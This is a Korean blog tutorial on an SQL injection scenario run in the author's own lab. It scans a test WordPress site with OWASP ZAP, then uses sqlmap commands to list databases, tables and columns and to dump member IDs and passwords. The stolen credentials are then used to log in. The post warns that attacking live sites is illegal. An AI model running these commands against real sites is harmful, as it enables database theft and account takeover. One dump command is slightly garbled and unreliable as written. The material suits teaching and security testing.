본문 바로가기
공부방/IT기타

[해킹] sql injection 해킹 시나리오

by 빵끗미 2022. 7. 4.
반응형

안녕하세요 빵끗입니다.

 

오늘은 sql injection 해킹 시나리오를 만들어 볼게요

 

해킹 시나리오를 만들 때에는 아래와 같이 주의사항이 있어요

1) 해킹은 실제 사용 중인 사이트를 공격하게 되면 법적인 문제가 발생될 수 있어요. 때문에 테스트를 진행할 경우 테스트 환경을 구성해야 돼요.

2) 취약점 스캔 툴을 돌릴 경우 의미 없는 데이터 값이 db에 등록될 수 있어요.

 

 

이제 주의사항까지 알아봤다면 해킹 시나리오 시작해 볼까요?

 

 

첫 번째 sql injection 공격하기 위해서는 테스트용 웹 서버 및 공격용 서버를 구축해야 돼요.

ㄴ 작성자는 이미 만들어 놓은 테스트용 웹 서버가 있어요

ㄴ 웹 테스트 서버 OS: 우분투 22.04

ㄴ 웹 서버 : nginx1.80/ mariadb 15.2 / php 8.1

ㄴ 웹 보드 : wordpress

ㄴ 공격자 테스트 서버 OS : 칼리

 

 

 

 

두 번째 OWASP-ZAP  tools 이용하여 취약점 스캔해요

ㄴautomated scan 화면에서 스캔 대상인 웹 주소를 입력 후 공격을 누르면 스캔하는데 시간이 조금 걸려요.

ㄴ스캔이 완료되면 깃발 모양이 있는 탭을 누르게 될 경우 어떠한 취약점이 발생되었는지 알 수 있어요.

ㄴ 관리자 웹 테스트 서버에는 sql injection 취약점이 발견되었어요.



URL to attack : 공격할 사이트 주소 입력해요
Attack : Attack를 누르면 해당 사이트에 취약점이 있는지 자동으로 스캔 해요
Alerts :  자동으로 취약점을 스캔 하였다면 결과 값을 확인 할 수 있어요

 

 

 

세 번째 OWASP-ZAP  tools를 이용해서 취약점을 확인했다면 공격 서버로 와서 웹 서버의 DB 정보를 획득해볼게요

ㄴ kail linux sqlmap tools 이용하여 DB 정보 획득해 볼게요

ㄴ DB 정보를 확인하는 명령어 : sqlmap –u "http://192.168.0.136/test2/login/insert.php" --method POST --data "id=1" --dbs

ㄴ DB 테이블 정보를 확인 하는 명령어 : sqlmap -u "http://192.168.0.136/test2/login/insert.php" --method POST --data "id=1" -D classic_basic --tables

ㄴ DB 회원 정보를 확인하는 명령어 :

sqlmap -u "http://192.168.0.136/test2/login/insert.php" --method POST --data "id=1" -D classic_basic -T member --columns

 

 

 

네 번째 웹 서버에서 회원 정보를 dump 하여 csv 파일로 만든 다음 외부로 유출 시도를 해볼게요

ㄴ 관리자는 회원 정보 중에서 id, password의 정보만 dump 할게요

ㄴ 명령어: sqlmap -u "http://192.168.0.136/test2/login/insert.php" --method POST --data "id=1" -D classic_basic -T member -C "id, pass"id,pass –-dump 

ㄴ ftp 응용 프로그램을 연결하여 dump 한 파일을 다운로드할 께요

 

 

 

다섯 번째 다운로드한 csv 파일을 열어서 회원정보가 들어있는지 확인해 볼게요

ㄴ 다운로드한 csv 파일을 열어서 관리자가 원했던 id, password 정보가 들어 있는지 확인해 볼게요.

 

 

여섯 번째 웹 사이트로 가서 탈취한 회원정보를 가지고 로그인 시도를 해볼게요.

ㄴ 탈취한 회원 정보를 가지고 사이트 로그인 시도를 해볼게요.

 

일곱전째 정상적으로 로그인되는 것을 확인을 해요

ㄴ 로그인 성공!!!

 

 

 

 

 

반응형

댓글